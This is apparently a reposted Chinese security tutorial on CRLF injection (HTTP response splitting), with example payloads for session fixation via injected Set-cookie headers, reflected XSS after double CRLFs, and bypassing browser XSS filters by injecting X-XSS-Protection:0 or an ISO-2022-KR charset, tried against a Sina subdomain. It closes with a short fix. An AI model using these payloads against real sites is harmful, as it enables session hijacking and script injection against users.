<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/2466

            0x00 背景


            CRLF?Injection很少遇見,這次被我逮住了。我看zone中(http://zone.wooyun.org/content/13323)還有一些同學對于這個漏洞不甚了解,甚至分不清它與CSRF,我詳細說一下吧。

            CRLF是”回車?+?換行”(\r\n)的簡稱。在HTTP協議中,HTTP?Header與HTTP?Body是用兩個CRLF分隔的,瀏覽器就是根據這兩個CRLF來取出HTTP?內容并顯示出來。所以,一旦我們能夠控制HTTP?消息頭中的字符,注入一些惡意的換行,這樣我們就能注入一些會話Cookie或者HTML代碼,所以CRLF?Injection又叫HTTP?Response?Splitting,簡稱HRS。

            HRS是比XSS危害更大的安全問題,具體是為什么,我們往下看。

            對于HRS最簡單的利用方式是注入兩個\r\n,之后在寫入XSS代碼,來構造一個xss。

            0x01 實例


            舉個例子,一般網站會在HTTP頭中用Location:?http://baidu.com這種方式來進行302跳轉,所以我們能控制的內容就是Location:后面的XXX某個網址。

            所以一個正常的302跳轉包是這樣:

            HTTP/1.1 302 Moved Temporarily 
            Date: Fri, 27 Jun 2014 17:52:17 GMT 
            Content-Type: text/html 
            Content-Length: 154 
            Connection: close 
            Location: http://www.sina.com.cn
            

            但如果我們輸入的是

            http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun
            

            注入了一個換行,此時的返回包就會變成這樣:?

            HTTP/1.1 302 Moved Temporarily 
            Date: Fri, 27 Jun 2014 17:52:17 GMT 
            Content-Type: text/html 
            Content-Length: 154 
            Connection: close 
            Location: http://www.sina.com.cn 
            Set-cookie: JSPSESSID=wooyun
            

            這個時候這樣我們就給訪問者設置了一個SESSION,造成一個“會話固定漏洞”。

            當然,HRS并不僅限于會話固定,通過注入兩個CRLF就能造成一個無視瀏覽器Filter的反射型XSS。

            比如一個網站接受url參數http://test.sina.com.cn/?url=xxx,xxx放在Location后面作為一個跳轉。如果我們輸入的是

            http://test.sina.com.cn/?url=%0d%0a%0d%0a<img?src=1?onerror=alert(/xss/)>
            

            我們的返回包就會變成這樣:

            HTTP/1.1 302 Moved Temporarily 
            Date: Fri, 27 Jun 2014 17:52:17 GMT 
            Content-Type: text/html 
            Content-Length: 154 
            Connection: close 
            Location:
            <img src=1 onerror=alert(/xss/)>
            

            之前說了瀏覽器會根據第一個CRLF把HTTP包分成頭和體,然后將體顯示出來。于是我們這里這個標簽就會顯示出來,造成一個XSS。

            為什么說是無視瀏覽器filter的,這里涉及到另一個問題。

            瀏覽器的Filter是瀏覽器應對一些反射型XSS做的保護策略,當url中含有XSS相關特征的時候就會過濾掉不顯示在頁面中,所以不能觸發XSS。

            怎樣才能關掉filter?一般來說用戶這邊是不行的,只有數據包中http頭含有X-XSS-Protection并且值為0的時候,瀏覽器才不會開啟filter。

            說到這里應該就很清楚了,HRS不正是注入HTTP頭的一個漏洞嗎,我們可以將X-XSS-Protection:0注入到數據包中,再用兩個CRLF來注入XSS代碼,這樣就成功地繞過了瀏覽器filter,并且執行我們的反射型XSS。

            所以說HRS的危害大于XSS,因為它能繞過一般XSS所繞不過的filter,并能產生會話固定漏洞。


            我們來一個真實案例吧。 新浪某分站含有一個url跳轉漏洞,危害并不大,于是我就想到了CRLF?Injection,當我測試

            http://xxx.sina.com.cn/?url=%0a%0d%0a%0d%3Cimg%20src=1%3E
            

            的時候,發現圖片已經輸出在頁面中了,說明CRLF注入成功了:

            2014062816583715642.jpg

            那么我們試試XSS看看:

            2014062816585822978.jpg

            看控制臺,果然被XSS?Filter攔截了。

            那么我們就注入一個

            X-XSS-Protection:0
            

            到數據包中,看看什么效果:

            2014062816593849016.jpg

            @mramydnei?還想到了一個利用字符編碼來繞過XSS?Filter的方法,當編碼是is-2022-kr時瀏覽器會忽略%0f,這樣我們在onerror后面加個%0f就能繞過filter,前提是注入一個

            <meta?charset=ISO-2022-KR> 
            

            2014062817010832293.jpg

            當然,在Location:這里注入只有webkit內核瀏覽器才能夠利用,其他瀏覽器可能會跳轉、出錯。不過對于chrome的使用量來說,危害已經足夠了。

            0x02 修復


            如何修復HRS漏洞,當然是過濾\r?、\n之類的換行符,避免輸入的數據污染到其他HTTP頭。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线